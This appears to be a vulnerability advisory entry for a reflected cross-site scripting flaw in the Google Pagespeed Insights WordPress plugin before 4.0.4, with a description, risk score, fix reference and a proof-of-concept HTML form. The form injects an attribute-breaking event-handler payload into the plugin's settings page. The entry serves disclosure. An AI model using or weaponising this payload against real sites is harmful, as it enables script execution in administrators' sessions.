Google Pagespeed Insights < 4.0.4 - Reflected Cross-Site Scripting

2022-03-0800:00:00

Krzysztof Zając

google pagespeed insights

reflected cross-site scripting

form input

vulnerability

exploit

EPSS

0.001

Percentile

30.0%

JSON

The plugin does not sanitise and escape various parameters before outputting them back in attributes in the plugin’s settings dashboard, leading to Reflected Cross-Site Scripting

<html>
    <form action="https://example.com/wp-admin/tools.php?page=google-pagespeed-insights&render=options" method="POST">
        <input type="text" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/) x'>
        <input type="submit" value="Send">
    </form>
</html>

References

plugins.trac.wordpress.org/changeset/2690415

EPSS

0.001

Percentile

30.0%

JSON

Related for WPEX-ID:52BD94DF-8816-48FD-8788-38D045EB57CA